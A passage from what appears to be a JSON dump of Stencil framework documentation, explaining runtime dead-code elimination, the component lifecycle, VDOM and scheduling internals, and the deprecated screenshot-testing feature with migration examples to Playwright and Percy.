 \n  // ... and so on for every feature\n};\n```\n\n### Step 2: Build Feature Aggregation\n\nThe compiler then aggregates features across ALL components:\n\n```typescript\n// src/compiler/app-core/app-data.ts:20-76\nexport const getBuildFeatures = (cmps: ComponentCompilerMeta[]): BuildFeatures => {\n  const slot = cmps.some((c) => c.htmlTagNames.includes('slot'));\n  const shadowDom = cmps.some((c) => c.encapsulation === 'shadow');\n  const slotRelocation = cmps.some((c) => c.encapsulation !== 'shadow' && c.htmlTagNames.includes('slot'));\n  \n  return {\n    allRenderFn: cmps.every(c => c.hasRenderFn),\n    prop: cmps.some(c => c.hasProp),\n    state: cmps.some(c => c.hasState),\n    method: cmps.some(c => c.hasMethod),\n    // ... check every feature across all components\n  };\n};\n```\n\n### Step 3: Runtime Generation\n\nBased on your components, the compiler generates a custom BUILD object:\n\n```typescript\n// For a simple app with no state management\nexport const BUILD = {\n  isDev: false,\n  isBrowser: true,\n  isServer: false,\n  isTesting: false,\n  member: false,      // No props or state!\n  reflect: false,     // No reflected attributes!\n  updatable: false,   // Components never update!\n  // ... only what you need\n};\n```\n\n### Step 4: Optimization Magic\n\nThe real optimization happens in the bundling phase. The compiler configures Terser with aggressive optimizations:\n\n```typescript\n// src/compiler/optimize/optimize-module.ts:60-80\nif (opts.sourceTarget !== 'es5' && opts.isCore) {\n  if (!isDebug) {\n    compressOpts.passes = 2;\n    compressOpts.global_defs = {\n      supportsListenerOptions: true,\n    };\n    compressOpts.pure_funcs = compressOpts.pure_funcs || [];\n    compressOpts.pure_funcs = ['getHostRef', ...compressOpts.pure_funcs];\n  }\n\n  mangleOptions.properties = {\n    debug: isDebug,\n    ...getTerserManglePropertiesConfig(),\n  };\n\n  compressOpts.inline = 1;\n  compressOpts.unsafe = true;\n  compressOpts.unsafe_undefined = true;\n}\n```\n\nTerser then transforms code like:\n\n```typescript\n// Before\nif (BUILD.member) {\n  initializeProps(elm, cmpMeta);\n}\n\n// After (when BUILD.member = false)\nif (false) {\n  initializeProps(elm, cmpMeta);\n}\n\n// Final (removed entirely!)\n// ... nothing ...\n```\n\n---\n\n## Runtime Dead Code Elimination\n\nLet's look at real examples of how different component patterns affect the runtime:\n\n### Example 1: Static Component\n\n```typescript\n@Component({ tag: 'my-header' })\nexport class MyHeader {\n  render() {\n    return <header>Welcome!</header>;\n  }\n}\n```\n\n**Runtime impact:**\n- ✅ Basic component registration\n- ✅ Render function support\n- ❌ No state management (saves ~2KB)\n- ❌ No property handling (saves ~3KB)\n- ❌ No event system (saves ~1KB)\n\n### Example 2: Interactive Component\n\n```typescript\n@Component({ tag: 'my-counter' })\nexport class MyCounter {\n  @State() count = 0;\n  \n  @Listen('click')\n  increment() {\n    this.count++;\n  }\n  \n  render() {\n    return <div>Count: {this.count}</div>;\n  }\n}\n```\n\n**Runtime impact:**\n- ✅ State management system\n- ✅ Update scheduling\n- ✅ Event listener support\n- ✅ Re-rendering logic\n- Total runtime: ~8KB (vs ~15KB for full runtime)\n\n### Example 3: Complex Component\n\n```typescript\n@Component({ \n  tag: 'my-form',\n  formAssociated: true,\n  shadow: true,\n  styleUrl: 'my-form.css'\n})\nexport class MyForm {\n  @Prop() value: string;\n  @State() isValid = false;\n  @Event() myChange: EventEmitter;\n  \n  @Method()\n  async validate() {\n    // validation logic\n  }\n  \n  @Watch('value')\n  valueChanged() {\n    this.validate();\n  }\n  \n  render() {\n    // complex render logic\n  }\n}\n```\n\n**Runtime impact:**\n- ✅ Full property system with watchers\n- ✅ Event emitter system\n- ✅ Method proxying\n- ✅ Form association APIs\n- ✅ Shadow DOM with styles\n- Total runtime: ~12KB (still less than most frameworks!)\n\n---\n\n## Architecture Overview\n\nNow that we understand how the compiler optimizes the runtime, let's explore the runtime architecture itself:\n\n```mermaid\ngraph TD\n    subgraph \"Component Lifecycle\"\n        Connect[connectedCallback] --> Init[Initialize Component]\n        Init --> WillLoad[componentWillLoad]\n        WillLoad --> WillRender[componentWillRender]\n        WillRender --> Render[render]\n        Render --> DidRender[componentDidRender]\n        DidRender --> DidLoad[componentDidLoad]\n    end\n    \n    subgraph \"Update Cycle\"\n        Change[\"State/Prop Change\"] --> WillUpdate[componentWillUpdate]\n        WillUpdate --> WillRender2[componentWillRender]\n        WillRender2 --> Render2[render]\n        Render2 --> DidRender2[componentDidRender]\n        DidRender2 --> DidUpdate[componentDidUpdate]\n    end\n    \n    subgraph \"Core Systems\"\n        VDOM[Virtual DOM]\n        Proxy[Proxy State]\n        Queue[Update Queue]\n        Scheduler[Render Scheduler]\n    end\n```\n\n## Component Lifecycle\n\n### Lifecycle Order\n\nComponents follow a strict lifecycle order, especially important for nested components:\n\n```\n<parent-component>\n  <child-component>\n    <grandchild-component></grandchild-component>\n  </child-component>\n</parent-component>\n```\n\n**Initialization Order** (top-down):\n1. parent - componentWillLoad\n2. child - componentWillLoad\n3. grandchild - componentWillLoad\n4. grandchild - componentDidLoad\n5. child - componentDidLoad\n6. parent - componentDidLoad\n\n### Core Lifecycle Methods\n\n#### connectedCallback\n\nWhen element is added to DOM:\n\n```typescript\n// Simplified version - see full implementation at:\n// src/runtime/connected-callback.ts\nconnectedCallback() {\n  const hostRef = getHostRef(this);\n  \n  // Only included if BUILD.hostListener is true\n  if (BUILD.hostListener) {\n    addHostEventListeners(this, hostRef, cmpMeta.$listeners$);\n  }\n  \n  // Only included if components use context\n  if (BUILD.asyncLoading) {\n    attachToAncestor(hostRef, hostRef.$ancestorComponent$);\n  }\n  \n  // Start initialization\n  initializeComponent(this, hostRef, cmpMeta);\n}\n```\n\nNotice how even the `connectedCallback` is optimized! If your app doesn't use `@Listen` decorators, the entire event listener system is removed.\n\n#### Component Initialization\n\n```typescript\n// src/runtime/initialize-component.ts:23-90\nconst initializeComponent = async (elm, hostRef, cmpMeta) => {\n  if ((hostRef.$flags$ & HOST_FLAGS.hasInitializedComponent) === 0) {\n    hostRef.$flags$ |= HOST_FLAGS.hasInitializedComponent;\n    \n    const bundleId = cmpMeta.$lazyBundleId$;\n    \n    // This entire lazy loading section is removed if BUILD.lazyLoad is false\n    if (BUILD.lazyLoad && bundleId) {\n      const Cstr = await loadModule(cmpMeta, hostRef);\n      \n      // Property proxying only added if components have props/state\n      if (BUILD.member && !Cstr.isProxied) {\n        proxyComponent(Cstr, cmpMeta, PROXY_FLAGS.proxyState);\n        Cstr.isProxied = true;\n      }\n      \n      // Instance creation tracking only if needed\n      if (BUILD.member) {\n        hostRef.$flags$ |= HOST_FLAGS.isConstructingInstance;\n      }\n      \n      new Cstr(hostRef);\n      \n      if (BUILD.member) {\n        hostRef.$flags$ &= ~HOST_FLAGS.isConstructingInstance;\n      }\n    }\n    \n    // Schedule first render\n    scheduleUpdate(hostRef, true);\n  }\n};\n```\n\nThe initialization is heavily optimized:\n- No lazy loading code if `BUILD.lazyLoad` is false\n- No property proxying if `BUILD.member` is false\n- No instance tracking if components don't have members\n\n## State Management\n\n### Reactive Properties\n\nState management is one of the most optimized parts of Stencil. If your components don't use `@State` or `@Prop`, the entire reactive system is eliminated!\n\n```typescript\n// src/runtime/proxy-component.ts:24-89\nconst proxyComponent = (Cstr, cmpMeta, flags) => {\n  // This entire function is removed if BUILD.member is false!\n  if (BUILD.member) {\n    cmpMeta.$members$.forEach(([memberName, [memberFlags]]) => {\n      // Only props included if BUILD.prop is true\n      if (BUILD.prop && memberFlags & MEMBER_FLAGS.Prop) {\n        definePropertyAccessor(Cstr.prototype, memberName, memberFlags);\n      }\n      \n      // Only state included if BUILD.state is true\n      if (BUILD.state && memberFlags & MEMBER_FLAGS.State) {\n        definePropertyAccessor(Cstr.prototype, memberName, memberFlags);\n      }\n    });\n  }\n};\n```\n\n### Optimized Property Handling\n\nStencil even optimizes based on property types:\n\n```typescript\n// src/runtime/set-value.ts:getValue\nconst getValue = (ref, propName) => {\n  // Type-specific optimizations\n  if (BUILD.propBoolean && isBooleanProp) {\n    return ref.$instanceValues$.get(propName) === true;\n  }\n  \n  if (BUILD.propNumber && isNumberProp) {\n    return Number(ref.$instanceValues$.get(propName));\n  }\n  \n  if (BUILD.propString && isStringProp) {\n    return String(ref.$instanceValues$.get(propName) || '');\n  }\n  \n  // Generic fallback only if needed\n  return ref.$instanceValues$.get(propName);\n};\n```\n\n### Update Queue\n\nBatches multiple updates:\n\n```typescript\n// src/runtime/set-value.ts:setValue\nconst setValue = (ref, propName, newVal, cmpMeta) => {\n  const hostRef = getHostRef(ref);\n  const oldVal = hostRef.$instanceValues$.get(propName);\n  \n  if (oldVal !== newVal) {\n    hostRef.$instanceValues$.set(propName, newVal);\n    \n    if (hostRef.$flags$ & HOST_FLAGS.hasRendered) {\n      // Schedule update\n      scheduleUpdate(hostRef, false);\n    }\n  }\n};\n```\n\n## Virtual DOM\n\nStencil's Virtual DOM implementation is based on the excellent [Snabbdom](https://github.com/snabbdom/snabbdom) library, but heavily optimized for Stencil's specific use cases. The VDOM allows Stencil to efficiently update only the parts of the DOM that have actually changed, rather than re-rendering entire component trees.\n\n### History and Evolution\n\nStencil's VDOM started as a fork of Snabbdom, chosen for its:\n- Small size (~3KB)\n- Simplicity and performance\n- Modular architecture\n- Proven track record in production\n\nHowever, Stencil has significantly modified it to:\n- Use shorter property names for better minification (`$tag$` vs `tag`)\n- Remove unused features based on BUILD conditionals\n- Integrate tightly with the component lifecycle\n- Add Stencil-specific optimizations\n\n### VNode Structure\n\n```typescript\n// src/declarations/vdom.ts\ninterface VNode {\n  $tag$: string | Function;  // Element tag or component constructor\n  $elm$: Element;           // Reference to actual DOM element\n  $text$: string;          // Text content for text nodes\n  $children$: VNode[];     // Array of child VNodes\n  $attrs$: any;            // HTML attributes (id, class, etc.)\n  $key$: string | number;  // Unique key for efficient list updates\n}\n```\n\nThe property names might look unusual, but they're optimized for minification. After compression, `$tag$` becomes just `t`, saving precious bytes.\n\n### Creating VNodes with h()\n\nThe `h()` function (short for \"hyperscript\") creates VNode objects:\n\n```typescript\n// src/runtime/vdom/h.ts\nexport const h = (tag, vnodeData, ...children) => {\n  const vnode: VNode = {\n    $tag$: tag,\n    $children$: null,\n    $elm$: null,\n    $text$: null,\n    $attrs$: vnodeData,\n    $key$: vnodeData?.key\n  };\n  \n  // Process children - flatten arrays, convert primitives to text nodes\n  if (children.length > 0) {\n    vnode.$children$ = [];\n    for (let i = 0; i < children.length; i++) {\n      const child = children[i];\n      if (Array.isArray(child)) {\n        // Flatten arrays (common with .map())\n        vnode.$children$.push(...child);\n      } else if (isPrimitive(child)) {\n        // Convert strings/numbers to text nodes\n        vnode.$children$.push({ $text$: String(child) });\n      } else {\n        vnode.$children$.push(child);\n      }\n    }\n  }\n  \n  return vnode;\n};\n```\n\n### Render Function\n\nComponents use JSX which compiles to `h()` calls:\n\n```typescript\n// JSX in your component:\nrender() {\n  return (\n    <div class=\"container\">\n      <h1>{this.title}</h1>\n      <button onClick={() => this.handleClick()}>\n        Click me\n      </button>\n      <ul>\n        {this.items.map(item => \n          <li key={item.id}>{item.name}</li>\n        )}\n      </ul>\n    </div>\n  );\n}\n\n// Compiles to:\nrender() {\n  return h('div', { class: 'container' },\n    h('h1', null, this.title),\n    h('button', { onClick: () => this.handleClick() }, 'Click me'),\n    h('ul', null,\n      this.items.map(item => \n        h('li', { key: item.id }, item.name)\n      )\n    )\n  );\n}\n```\n\n### The Diff Algorithm\n\nThe heart of the VDOM is the diffing algorithm that determines what changed:\n\n```typescript\n// src/runtime/vdom/vdom-render.ts\nconst patch = (oldVNode: VNode, newVNode: VNode, isInitialRender = false) => {\n  const elm = oldVNode.$elm$;\n  \n  // Different tags? Replace the whole element\n  if (oldVNode.$tag$ !== newVNode.$tag$) {\n    const newElm = createElm(newVNode, null);\n    elm.parentNode.replaceChild(newElm, elm);\n    return;\n  }\n  \n  // Same tag - update the existing element\n  newVNode.$elm$ = elm;\n  \n  // Update attributes (only if BUILD.vdomAttribute is true)\n  if (BUILD.vdomAttribute) {\n    updateElement(elm, oldVNode.$attrs$, newVNode.$attrs$);\n  }\n  \n  // Update children\n  updateChildren(elm, oldVNode.$children$, newVNode.$children$);\n};\n```\n\n### Optimized Attribute Updates\n\nStencil optimizes attribute updates based on what features you use:\n\n```typescript\n// src/runtime/vdom/update-element.ts\nconst updateElement = (elm: Element, oldAttrs = {}, newAttrs = {}) => {\n  // Only included if components use attributes\n  if (BUILD.vdomAttribute) {\n    // Remove old attributes\n    for (const name in oldAttrs) {\n      if (!(name in newAttrs)) {\n        removeAttribute(elm, name);\n      }\n    }\n    \n    // Add/update new attributes\n    for (const name in newAttrs) {\n      if (oldAttrs[name] !== newAttrs[name]) {\n        setAttribute(elm, name, newAttrs[name]);\n      }\n    }\n  }\n  \n  // Class handling only if used\n  if (BUILD.vdomClass && oldAttrs.class !== newAttrs.class) {\n    elm.className = newAttrs.class || '';\n  }\n  \n  // Style handling only if used\n  if (BUILD.vdomStyle && oldAttrs.style !== newAttrs.style) {\n    updateStyle(elm, oldAttrs.style, newAttrs.style);\n  }\n  \n  // Event listeners only if used\n  if (BUILD.vdomListener) {\n    updateListeners(elm, oldAttrs, newAttrs);\n  }\n};\n```\n\n### Key-based Reordering\n\nOne of the most important optimizations is key-based list reconciliation:\n\n```typescript\n// When rendering lists, always use keys!\nrender() {\n  return (\n    <ul>\n      {this.items.map(item => (\n        <li key={item.id}>  {/* Key enables efficient reordering */}\n          {item.name}\n        </li>\n      ))}\n    </ul>\n  );\n}\n```\n\nWithout keys, Stencil has to update each list item in place. With keys, it can:\n1. Identify which items were added/removed/moved\n2. Reuse existing DOM nodes by moving them\n3. Preserve component state during reorders\n\n### VDOM Optimizations\n\nStencil applies several optimizations to the VDOM:\n\n#### 1. Static Hoisting\n```typescript\n// The compiler can detect static vnodes and hoist them\nconst STATIC_HEADER = h('h1', { class: 'header' }, 'Welcome');\n\nrender() {\n  return h('div', null,\n    STATIC_HEADER,  // Reused, not recreated\n    h('p', null, this.dynamicContent)\n  );\n}\n```\n\n#### 2. Conditional Features\n```typescript\n// If no components use refs, this code is eliminated\nif (BUILD.vdomRef && vnode.$attrs$.ref) {\n  vnode.$attrs$.ref(elm);\n}\n\n// If no components use keys, key handling is removed\nif (BUILD.vdomKey && vnode.$key$) {\n  elm.key = vnode.$key$;\n}\n```\n\n#### 3. Text Node Optimization\n```typescript\n// Direct text content optimization\nif (BUILD.vdomText && children.length === 1 && children[0].$text$) {\n  // Fast path: set textContent directly\n  elm.textContent = children[0].$text$;\n} else {\n  // Slow path: full child reconciliation\n  updateChildren(elm, oldChildren, newChildren);\n}\n```\n\n### VDOM vs Direct DOM Manipulation\n\nWhile VDOM provides a clean programming model, Stencil knows when to bypass it:\n\n```typescript\n// For simple text updates, Stencil can use direct DOM\nif (BUILD.allRenderFn && !BUILD.vdomRender) {\n  // No VDOM needed - direct textContent update\n  elm.textContent = instance.render();\n}\n```\n\nThis is another example of Stencil's philosophy: use the right tool for the job, not one-size-fits-all.\n\n## Render Scheduling\n\n### Async Rendering\n\nUpdates are batched and scheduled:\n\n```typescript\n// src/runtime/update-component.ts:scheduleUpdate\nconst scheduleUpdate = (hostRef, isInitialLoad) => {\n  if (hostRef.$flags$ & HOST_FLAGS.isQueuedForUpdate) {\n    return;\n  }\n  \n  hostRef.$flags$ |= HOST_FLAGS.isQueuedForUpdate;\n  \n  if (isInitialLoad) {\n    // Use microtask for initial load\n    queueMicrotask(() => dispatchHooks(hostRef, isInitialLoad));\n  } else {\n    // Use write task for updates\n    writeTask(() => dispatchHooks(hostRef, isInitialLoad));\n  }\n};\n```\n\n### Task Queue\n\nCustom task scheduling:\n\n```typescript\n// src/runtime/task-queue.ts\nconst writeTask = (cb) => {\n  if (!pendingWriteTask) {\n    pendingWriteTask = true;\n    \n    if (supportsRAF) {\n      requestAnimationFrame(flush);\n    } else {\n      setTimeout(flush, 0);\n    }\n  }\n  \n  writeQueue.push(cb);\n};\n```\n\n## Lazy Loading\n\n### Component Registration\n\n```typescript\n// src/runtime/bootstrap-lazy.ts:24-98\nconst bootstrapLazy = (lazyBundles) => {\n  lazyBundles.forEach(([bundleId, components]) => {\n    components.forEach(compactMeta => {\n      const cmpMeta = parseComponentMeta(compactMeta);\n      \n      class HostElement extends HTMLElement {\n        connectedCallback() {\n          plt.jmp(() => connectedCallback(this));\n        }\n        \n        disconnectedCallback() {\n          plt.jmp(() => disconnectedCallback(this));\n        }\n      }\n      \n      customElements.define(cmpMeta.$tagName$, HostElement);\n    });\n  });\n};\n```\n\n### Dynamic Import\n\nComponents loaded on demand:\n\n```typescript\n// src/client/client-load-module.ts\nconst loadModule = async (cmpMeta, hostRef) => {\n  const bundleId = cmpMeta.$lazyBundleId$;\n  \n  if (!loadedModules.has(bundleId)) {\n    const module = await import(\n      /* webpackChunkName: \"[request]\" */\n      `./build/${bundleId}.js`\n    );\n    loadedModules.set(bundleId, module);\n  }\n  \n  return loadedModules.get(bundleId)[cmpMeta.$tagName$];\n};\n```\n\n## Hydration\n\n### Server-Side Rendering\n\nMarkers for hydration:\n\n```html\n<my-component s-id=\"1\" class=\"hydrated\">\n  <!--s:1.0-->\n  <div c-id=\"1.1\">\n    <!--t:1.2-->Hello World<!---->\n  </div>\n  <!--e:1.0-->\n</my-component>\n```\n\n### Client Hydration\n\nReuses server-rendered DOM:\n\n```typescript\n// src/runtime/client-hydrate.ts\nconst clientHydrate = (hostElm, tagName, hostId, hostRef) => {\n  const serverHostRef = serverSideConnected.get(hostId);\n  \n  if (serverHostRef) {\n    // Reuse server state\n    hostRef.$instanceValues$ = serverHostRef.$instanceValues$;\n    \n    // Connect to existing DOM\n    hostRef.$elm$ = hostElm;\n    hostRef.$flags$ |= HOST_FLAGS.hasInitializedComponent;\n  }\n};\n```\n\n## Event System\n\n### Event Decorators\n\n```typescript\n@Event() myEvent: EventEmitter<string>;\n\nemitEvent() {\n  this.myEvent.emit('data');\n}\n```\n\n### Event Implementation\n\n```typescript\n// src/runtime/event-emitter.ts\nconst createEvent = (ref, name, flags) => {\n  const elm = getHostRef(ref).$hostElement$;\n  \n  return {\n    emit: (detail) => {\n      const event = new CustomEvent(name, {\n        bubbles: !!(flags & EVENT_FLAGS.Bubbles),\n        composed: !!(flags & EVENT_FLAGS.Composed),\n        cancelable: !!(flags & EVENT_FLAGS.Cancellable),\n        detail\n      });\n      \n      elm.dispatchEvent(event);\n      return event;\n    }\n  };\n};\n```\n\n## Method Decorators\n\n### Async Methods\n\n```typescript\n@Method()\nasync getData() {\n  return this.internalData;\n}\n```\n\n### Method Proxying\n\n```typescript\n// Implementation found in proxy-component.ts\nconst proxyMethods = (hostRef, cmpMeta) => {\n  cmpMeta.$methods$.forEach(methodName => {\n    hostRef.$hostElement$[methodName] = function(...args) {\n      const instance = hostRef.$lazyInstance$;\n      return instance[methodName].apply(instance, args);\n    };\n  });\n};\n```\n\n## Style Encapsulation\n\n### Shadow DOM\n\nTrue style isolation:\n\n```typescript\nif (cmpMeta.$flags$ & CMP_FLAGS.shadowDomEncapsulation) {\n  hostElm.attachShadow({ mode: 'open' });\n  renderIntoShadow(hostElm.shadowRoot);\n}\n```\n\n### Scoped CSS\n\nCSS-in-JS style scoping:\n\n```typescript\nif (cmpMeta.$flags$ & CMP_FLAGS.scopedCssEncapsulation) {\n  const scopeId = getScopeId(cmpMeta);\n  hostElm.classList.add(scopeId);\n  \n  // Transform styles\n  styles = scopeCss(styles, scopeId);\n}\n```\n\n## Performance Optimizations\n\n### Host Ref\n\nCentralized component data:\n\n```typescript\n// src/declarations/stencil-private.ts\ninterface HostRef {\n  $flags$: number;\n  $hostElement$: d.HostElement;\n  $cmpMeta$: d.ComponentRuntimeMeta;\n  $instanceValues$: Map<string, any>;\n  $lazyInstance$: any;\n  $onReadyResolve$: (elm: any) => void;\n  $onInstanceResolve$: (elm: any) => void;\n  $vnode$: d.VNode;\n  $ancestorComponent$: d.HostElement;\n}\n```\n\n### Flags Optimization\n\nBit flags for memory efficiency:\n\n```typescript\n// src/utils/constants.ts\nconst enum HOST_FLAGS {\n  hasConnected = 1 << 0,\n  hasRendered = 1 << 1,\n  hasInitializedComponent = 1 << 2,\n  hasLoadedComponent = 1 << 3,\n  isWaitingForChildren = 1 << 4,\n  isConstructingInstance = 1 << 5,\n  isQueuedForUpdate = 1 << 6,\n  hasReflectedAttr = 1 << 7,\n  // ... up to 32 flags\n}\n```\n\n## Platform Abstraction\n\n### Platform Layer\n\nThe platform abstraction layer (`plt`) is designed for optimal minification:\n\n```typescript\n// src/client/index.ts\nconst plt = {\n  $flags$: 0,\n  // Short property names for better minification\n  jmp: (h) => h(),\n  raf: (h) => requestAnimationFrame(h),\n  ael: (el, eventName, listener, opts) => \n    el.addEventListener(eventName, listener, opts),\n  rel: (el, eventName, listener, opts) => \n    el.removeEventListener(eventName, listener, opts)\n};\n```\n\nThese short names might look cryptic, but they serve a purpose:\n- `jmp` (jump) wraps microtasks\n- `raf` wraps requestAnimationFrame\n- `ael`/`rel` wrap addEventListener/removeEventListener\n\nAfter minification, these save precious bytes!\n\n## Testing\n\n### Runtime Tests\n\n```typescript\ndescribe('runtime', () => {\n  it('should initialize component', async () => {\n    const { root } = await newSpecPage({\n      components: [MyComponent],\n      html: '<my-component></my-component>'\n    });\n    \n    expect(root).toHaveClass('hydrated');\n  });\n});\n```\n\n## Common Issues\n\n### Memory Leaks\n\nPrevent with proper cleanup:\n\n```typescript\ndisconnectedCallback() {\n  // Remove event listeners\n  this.removeEventListeners();\n  \n  // Clear references\n  hostRef.$lazyInstance$ = undefined;\n  \n  // Cancel pending updates\n  cancelPendingUpdate(hostRef);\n}\n```\n\n### Infinite Loops\n\nAvoid in watch callbacks:\n\n```typescript\n@Watch('value')\nwatchHandler(newValue) {\n  // DON'T: this.value = transform(newValue);\n  // DO: this.internalValue = transform(newValue);\n}\n```\n"
  },
  {
    "path": "docs/screenshot-deprecated.md",
    "content": "# Screenshot Testing (Deprecated)\n\n> **⚠️ DEPRECATED**: Screenshot testing is deprecated and will be removed in the next major version. Please migrate to modern visual regression testing tools.\n\n**Location:** [`src/screenshot/`](../src/screenshot/)\n\n## Migration Paths\n\n### Recommended Alternatives\n\n1. **[Percy](https://percy.io/)**: Visual testing platform with CI integration\n2. **[Chromatic](https://www.chromatic.com/)**: Visual testing for component libraries\n3. **[Playwright Visual Testing](https://playwright.dev/docs/test-snapshots)**: Built-in visual comparisons\n4. **[BackstopJS](https://github.com/garris/BackstopJS)**: Visual regression testing\n5. **[Applitools](https://applitools.com/)**: AI-powered visual testing\n\n## Legacy Architecture\n\n> **Note**: This documentation is preserved for projects still using the deprecated screenshot testing.\n\n```mermaid\ngraph TD\n    subgraph \"Screenshot Pipeline\"\n        Build[Build Components] --> Server[Dev Server]\n        Server --> Browser[Headless Browser]\n        Browser --> Capture[Screenshot Capture]\n        Capture --> Compare[Image Comparison]\n    end\n    \n    subgraph \"Storage\"\n        Master[Master Screenshots]\n        Compare --> Master\n        Master --> Diff[Diff Generation]\n    end\n    \n    subgraph \"Reporting\"\n        Diff --> Report[HTML Report]\n        Report --> Results[Test Results]\n    end\n```\n\n## Configuration\n\n### Screenshot Config\n\n```typescript\n// stencil.config.ts\nexport const config: Config = {\n  testing: {\n    screenshotConnector: 'puppeteer',\n    \n    // Screenshot options\n    screenshot: {\n      // Browser viewport\n      viewport: {\n        width: 1200,\n        height: 800\n      },\n      \n      // Capture options\n      fullPage: true,\n      omitBackground: false,\n      \n      // Comparison thresholds\n      pixelmatchThreshold: 0.1,\n      allowableMismatchedPixels: 100,\n      allowableMismatchedRatio: 0.05,\n      \n      // Wait strategies\n      waitBeforeScreenshot: 500,\n      \n      // File naming\n      fileNamePattern: '{spec}-{desc}-{os}-{browser}-{width}x{height}.png'\n    }\n  }\n};\n```\n\n## Writing Screenshot Tests\n\n### Basic Screenshot Test\n\n```typescript\nimport { E2EPage, newE2EPage } from '@stencil/core/testing';\n\ndescribe('screenshot', () => {\n  let page: E2EPage;\n  \n  beforeEach(async () => {\n    page = await newE2EPage();\n  });\n  \n  it('captures default state', async () => {\n    await page.setContent(`\n      <my-component name=\"Test\"></my-component>\n    `);\n    \n    await page.waitForChanges();\n    \n    // Capture screenshot\n    await page.compareScreenshot();\n  });\n  \n  it('captures hover state', async () => {\n    await page.setContent(`\n      <my-button>Click me</my-button>\n    `);\n    \n    const button = await page.find('my-button');\n    await button.hover();\n    \n    await page.compareScreenshot('button-hover');\n  });\n});\n```\n\n### Advanced Screenshot Testing\n\n```typescript\ndescribe('advanced screenshots', () => {\n  it('captures multiple viewports', async () => {\n    const viewports = [\n      { width: 320, height: 568 },  // Mobile\n      { width: 768, height: 1024 }, // Tablet\n      { width: 1920, height: 1080 } // Desktop\n    ];\n    \n    for (const viewport of viewports) {\n      const page = await newE2EPage();\n      await page.setViewport(viewport);\n      await page.setContent('<my-app></my-app>');\n      \n      await page.compareScreenshot(\n        `app-${viewport.width}x${viewport.height}`\n      );\n    }\n  });\n  \n  it('captures component states', async () => {\n    const page = await newE2EPage();\n    await page.setContent('<my-form></my-form>');\n    \n    // Default state\n    await page.compareScreenshot('form-default');\n    \n    // Focus state\n    const input = await page.find('input');\n    await input.focus();\n    await page.compareScreenshot('form-focused');\n    \n    // Error state\n    await page.$eval('my-form', (el: any) => {\n      el.showError = true;\n    });\n    await page.waitForChanges();\n    await page.compareScreenshot('form-error');\n  });\n});\n```\n\n## Screenshot Comparison\n\n### Comparison Options\n\n```typescript\nawait page.compareScreenshot('my-screenshot', {\n  // Clip to specific area\n  clip: {\n    x: 100,\n    y: 100,\n    width: 200,\n    height: 200\n  },\n  \n  // Custom threshold\n  pixelmatchThreshold: 0.2,\n  \n  // Allow more differences\n  allowableMismatchedPixels: 200,\n  \n  // Disable animations\n  disableAnimations: true,\n  \n  // Wait for fonts\n  waitForFonts: true\n});\n```\n\n### Handling Dynamic Content\n\n```typescript\nit('handles dynamic content', async () => {\n  await page.setContent(`\n    <my-component>\n      <div class=\"timestamp\">${new Date().toString()}</div>\n    </my-component>\n  `);\n  \n  // Hide dynamic elements\n  await page.addStyleTag({\n    content: '.timestamp { visibility: hidden !important; }'\n  });\n  \n  await page.compareScreenshot('component-no-timestamp');\n});\n```\n\n## Master Screenshots\n\n### Generating Masters\n\n```bash\n# Generate master screenshots\nnpm run test.screenshot -- --updateScreenshot\n\n# Generate for specific test\nnpm run test.screenshot -- --updateScreenshot --spec=button\n```\n\n### Master Storage\n\n```\nscreenshot/\n├── master/\n│   ├── button-default-darwin-chrome-1200x800.png\n│   ├── button-hover-darwin-chrome-1200x800.png\n│   └── form-error-darwin-chrome-1200x800.png\n├── diff/\n│   └── button-hover-darwin-chrome-1200x800.diff.png\n└── compare/\n    └── results.json\n```\n\n## Platform Support\n\n### Cross-Platform Testing\n\n```typescript\nconst platforms = [\n  { os: 'darwin', browser: 'chrome' },\n  { os: 'win32', browser: 'edge' },\n  { os: 'linux', browser: 'firefox' }\n];\n\n// Mock different platforms\nbeforeEach(async () => {\n  const platform = platforms[0];\n  \n  page = await newE2EPage({\n    userAgent: getUserAgent(platform),\n    viewport: {\n      width: 1200,\n      height: 800,\n      deviceScaleFactor: platform.os === 'darwin' ? 2 : 1\n    }\n  });\n});\n```\n\n## CI Integration\n\n### GitHub Actions Example\n\n```yaml\n- name: Screenshot Tests\n  run: |\n    npm run test.screenshot\n    \n- name: Upload Screenshots\n  if: failure()\n  uses: actions/upload-artifact@v2\n  with:\n    name: screenshot-diffs\n    path: screenshot/diff/\n```\n\n## Debugging Failed Screenshots\n\n### Local Comparison\n\n```bash\n# View comparison report\nnpm run test.screenshot -- --serve\n\n# Opens browser with visual diff report\n```\n\n### Debug Mode\n\n```typescript\nit('debug screenshot', async () => {\n  await page.setContent('<my-component></my-component>');\n  \n  // Take debug screenshot\n  const screenshot = await page.screenshot({\n    path: 'debug-screenshot.png',\n    fullPage: true\n  });\n  \n  // Log pixel data\n  console.log('Screenshot size:', screenshot.length);\n});\n```\n\n## Known Issues\n\n1. **Platform Differences**: Font rendering varies by OS\n2. **Animation Timing**: Inconsistent animation states\n3. **Performance**: Slow test execution\n4. **Storage Size**: Large screenshot files\n5. **Flakiness**: Random failures due to timing\n\n## Why It's Deprecated\n\n1. **Maintenance Burden**: Complex browser automation\n2. **Better Alternatives**: Modern tools with better features\n3. **Performance Issues**: Slow and resource-intensive\n4. **Limited Features**: Basic comparison only\n5. **Cross-Browser Issues**: Inconsistent results\n\n## Migration Example\n\n### To Playwright\n\n```typescript\n// Old Stencil screenshot test\nit('captures button', async () => {\n  const page = await newE2EPage();\n  await page.setContent('<my-button>Click</my-button>');\n  await page.compareScreenshot();\n});\n\n// New Playwright test\nimport { test, expect } from '@playwright/test';\n\ntest('captures button', async ({ page }) => {\n  await page.goto('/');\n  await page.setContent('<my-button>Click</my-button>');\n  await expect(page).toHaveScreenshot('button.png');\n});\n```\n\n### To Percy\n\n```typescript\n// Install Percy\nnpm install --save-dev @percy/cli @percy/playwright\n\n// New test with Percy\nimport { test } from '@playwright/test';\nimport { percySnapshot } from '@percy/playwright';\n\ntest('captures button', async ({ page }) => {\n  await page.goto('/button');\n  await percySnapshot(page, 'Button Component');\n});\n```\n\n## Support Timeline\n\n- **Deprecated**: v2.0.0 (2021)\n- **Removed**: Next major version (v5.0.0)\n- **Migration Period**: ~2 years\n\nFor new projects, please use one of the recommended modern visual testing tools. "
  },
  {
    "path": "docs/scripts.md",
